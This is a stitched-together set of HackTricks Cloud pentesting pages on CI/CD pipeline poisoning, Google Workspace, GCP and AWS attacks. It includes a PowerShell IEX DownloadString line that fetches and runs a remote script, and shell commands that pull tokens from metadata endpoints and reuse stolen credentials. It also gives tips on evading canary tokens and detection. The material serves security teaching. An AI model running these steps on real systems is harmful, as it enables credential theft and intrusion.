run yaml ## Config for GCP ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md ### It requires service account credentials integrations: - name: graph-google-cloud instanceId: testInstanceId directory: ./.integrations/graph-google-cloud gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git config: SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" PROJECT_ID: "" FOLDER_ID: "" ORGANIZATION_ID: "" CONFIGURE_ORGANIZATION_PROJECTS: false storage: engine: neo4j config: username: neo4j password: s3cr3t uri: bolt://localhost:7687 #Consider using host.docker.internal if from docker ### [**SkyArk**](https://github.com/cyberark/SkyArk) Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell. bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth # in the Cloud Console IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') Scan-AzureAdmins ### [Cloud Brute](https://github.com/0xsha/CloudBrute) A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) * CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). * It is an enumeration tool which is intended to compliment manual pentesting. * It doesn't create or modify any data within the cloud environment. * [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) [GCP Pentesting](gcp-security/index.html) [GWS - Workspace Pentesting](workspace-security/index.html) [AWS Pentesting](aws-security/index.html) [Azure Pentesting](azure-security/index.html) [**Stormspotter**](https://github.com/Azure/Stormspotter) creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Pentesting CI/CD Methodology - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ![](../images/CLOUD-logo-letters.svg) VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: * Github * Gitlab * Bitbucket * Gitea * Cloud providers (they offer their own VCS platforms) CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. note Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: * **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. * **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. * **Register**: Some platforms will just allow external users to create an account. * **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). * **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. * **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. * If no secret is in place, the attacker could abuse the webhook of the third party platform * If the secret is in the URL, the same happens and the attacker also have the secret * **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: * Compromise the main branch to **compromise production**. * Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). * **Compromise the pipeline** (check next section) The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings. These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. For a malicious actor to be successful performing a PPE attack he needs to be able to: * Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). * Note that sometimes an **external PR count as "write access"**. * Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. * For this, he might need to be able to **bypass branch protections**. There are 3 PPE flavours: * **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. * **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). * **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. * **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: * **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. * Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. * **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. * **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. * **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. * **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. * **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. * **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. * [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) . The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) * On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it * Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) * [**Checkov**](https://github.com/bridgecrewio/checkov) : **Checkov** is a static code analysis tool for infrastructure-as-code. * [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm\_source=github&utm\_medium=github\_page&utm\_campaign=ci%2fcd%20goat\_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GWS - Workspace Pentesting - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in: [GWS - Google Platforms Phishing](gws-google-platforms-phishing/index.html) In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address. If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges: [GWS - Post Exploitation](gws-post-exploitation.html) Read more about the different techniques to pivot between GWS and GCP in: [GCP <--> Workspace Pivoting](../gcp-security/gcp-to-workspace-pivoting/index.html) * **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC. * **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time. * **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) . [GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)](gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/index.html) If you have compromised some credentials or the session of the user check these options to maintain persistence over it: [GWS - Persistence](gws-persistence.html) * Log out of all sessions * Change user password * Generate new 2FA backup codes * Remove App passwords * Remove OAuth apps * Remove 2FA devices * Remove email forwarders * Remove emails filters * Remove recovery email/phones * Removed malicious synced smartphones * Remove bad Android Apps * Remove bad account delegations * [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic * [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite? tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP Pentesting - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 9 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Before start pentesting** a **GCP** environment, there are a few **basics things you need to know** about how it works to help you understand what you need to do, how to find misconfigurations and how to exploit them. Concepts such as **organization** hierarchy, **permissions** and other basic concepts are explained in: [GCP - Basic Information](gcp-basic-information/index.html) * [https://gcpgoat.joshuajebaraj.com/](https://gcpgoat.joshuajebaraj.com/) * [https://github.com/ine-labs/GCPGoat](https://github.com/ine-labs/GCPGoat) * [https://github.com/lacioffi/GCP-pentest-lab/](https://github.com/lacioffi/GCP-pentest-lab/) * [https://github.com/carlospolop/gcp\_privesc\_scripts](https://github.com/carlospolop/gcp_privesc_scripts) In order to audit a GCP environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal GCP services an **external services** connected. From a Red Team point of view, the **first step to compromise a GCP environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: * **Leaks** in github (or similar) - OSINT * **Social** Engineering (Check the page [**Workspace Security**](../workspace-security/index.html) ) * **Password** reuse (password leaks) * Vulnerabilities in GCP-Hosted Applications * [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint * **Local File Read** * `/home/USERNAME/.config/gcloud/*` * `C:\Users\USERNAME\.config\gcloud\*` * 3rd parties **breached** * **Internal** Employee Or by **compromising an unauthenticated service** exposed: [GCP - Unauthenticated Enum & Access](gcp-unauthenticated-enum-and-access/index.html) Or if you are doing a **review** you could just **ask for credentials** with these roles: [GCP - Permissions for a Pentest](gcp-permissions-for-a-pentest.html) note After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: For more information about how to **enumerate GCP metadata** check the following hacktricks page: [Cloud SSRF - HackTricks](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) In GCP you can try several options to try to guess who you are: bash #If you are inside a compromise machine gcloud auth list curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/tokeninfo gcloud auth print-identity-token #Get info from the token #If you compromised a metadata token or somehow found an OAuth token curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=" https://www.googleapis.com/oauth2/v1/tokeninfo You can also use the API endpoint `/userinfo` to get more info about the user: bash curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth $(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/userinfo curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth " https://www.googleapis.com/oauth2/v1/userinfo bash # Get organizations gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID gcloud resource-manager folders list --organization # Get folders gcloud projects list # Get projects If you have enough permissions, **checking the privileges of each entity inside the GCP account** will help you understand what you and other identities can do and how to **escalate privileges**. If you don't have enough permissions to enumerate IAM, you can **steal brute-force them** to figure them out. Check **how to do the numeration and brute-forcing** in: [GCP - IAM, Principals & Org Policies Enum](gcp-services/gcp-iam-and-org-policies-enum.html) note Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment. In the following section you can check some ways to **enumerate some common services.** GCP has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets, how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: [GCP - Services](gcp-services/index.html) Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automatic-tools) . Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: [GCP - Unauthenticated Enum & Access](gcp-unauthenticated-enum-and-access/index.html) The most common way once you have obtained some cloud credentials or have compromised some service running inside a cloud is to **abuse misconfigured privileges** the compromised account may have. So, the first thing you should do is to enumerate your privileges. Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well. [GCP - Privilege Escalation](gcp-privilege-escalation/index.html) [GCP - Post Exploitation](gcp-post-exploitation/index.html) [GCP - Persistence](gcp-persistence/index.html) While enumerating GCP services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...). As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. In this book you should find **information** about how to find **exposed GCP services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: [HackTricks - HackTricks](https://book.hacktricks.wiki/) **Compromising** principals in **one** platform might allow an attacker to **compromise the other one**, check it in: [GCP <--> Workspace Pivoting](gcp-to-workspace-pivoting/index.html) * In the **GCloud console**, in [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) you can see resources and IAMs being used by project. * Here you can see the assets supported by this API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types) * Check **tools** that can be [**used in several clouds here**](../pentesting-cloud-methodology.html) . * [**gcp\_scanner**](https://github.com/google/gcp_scanner) : This is a GCP resource scanner that can help determine what **level of access certain credentials posses** on GCP. bash # Install git clone https://github.com/google/gcp_scanner.git cd gcp_scanner virtualenv -p python3 venv source venv/bin/activate pip install -r requirements.txt # Execute with gcloud creds python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud" * [**gcp\_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum) : Bash script to enumerate a GCP environment using gcloud cli and saving the results in a file. * [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation) : Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script). * [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions) : Script to bruteforce your permissions. bash # Login so gcloud can use your credentials gcloud auth login gcloud config set project security-devbox gcloud auth print-access-token # Login so SDKs can use your user credentials gcloud auth application-default login gcloud auth application-default set-quota-project security-devbox gcloud auth application-default print-access-token # Update gcloud gcloud components update Remember that you can use the **parameter** **`--log-http`** with the **`gcloud`** cli to **print** the **requests** the tool is performing. If you don't want the logs to redact the token value use `gcloud config set log_http_redact_token false` Moreover, to intercept the communication: bash gcloud config set proxy/address 127.0.0.1 gcloud config set proxy/port 8080 gcloud config set proxy/type http gcloud config set auth/disable_ssl_validation True # If you don't want to completely disable ssl_validation use: gcloud config set core/custom_ca_certs_file cert.pem # Back to normal gcloud config unset proxy/address gcloud config unset proxy/port gcloud config unset proxy/type gcloud config unset auth/disable_ssl_validation gcloud config unset core/custom_ca_certs_file In order to **use an exfiltrated service account OAuth token from the metadata endpoint** you can just do: bash # Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN= gcloud projects list # Via setup echo "" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS Pentesting - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 15 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. Concepts such as organization hierarchy, IAM and other basic concepts are explained in: [AWS - Basic Information](aws-basic-information/index.html) * [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) * [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable) * [https://github.com/nccgroup/sadcloud](https://github.com/nccgroup/sadcloud) * [https://github.com/bridgecrewio/terragoat](https://github.com/bridgecrewio/terragoat) * [https://github.com/ine-labs/AWSGoat](https://github.com/ine-labs/AWSGoat) * [http://flaws.cloud/](http://flaws.cloud/) * [http://flaws2.cloud/](http://flaws2.cloud/) Tools to simulate attacks: * [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) * [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: * **Leaks** in github (or similar) - OSINT * **Social** Engineering * **Password** reuse (password leaks) * Vulnerabilities in AWS-Hosted Applications * [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint * **Local File Read** * `/home/USERNAME/.aws/credentials` * `C:\Users\USERNAME\.aws\credentials` * 3rd parties **breached** * **Internal** Employee * [**Cognito**](aws-services/aws-cognito-enum/index.html#cognito) credentials Or by **compromising an unauthenticated service** exposed: [AWS - Unauthenticated Enum & Access](aws-unauthenticated-enum-access/index.html) Or if you are doing a **review** you could just **ask for credentials** with these roles: [AWS - Permissions for a Pentest](aws-permissions-for-a-pentest.html) note After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: If you found a SSRF in a machine inside AWS check this page for tricks: [Cloud SSRF - HackTricks](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) One of the first things you need to know is who you are (in where account you are in other info about the AWS env): bash # Easiest way, but might be monitored? aws sts get-caller-identity aws iam get-user # This will get your own user # If you have a Key ID aws sts get-access-key-info --access-key-id=ASIA1234567890123456 # Get inside error message aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa # From metadata TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document caution Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it. For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.html#honeytokens-bypass) . [AWS - Organizations Enum](aws-services/aws-organizations-enum.html) If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out. Check **how to do the numeration and brute-forcing** in: [AWS - IAM, Identity Center & SSO Enum](aws-services/aws-iam-enum.html) note Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment. In the following section you can check some ways to **enumerate some common services.** AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: [AWS - Services](aws-services/index.html) Note that you **don't** 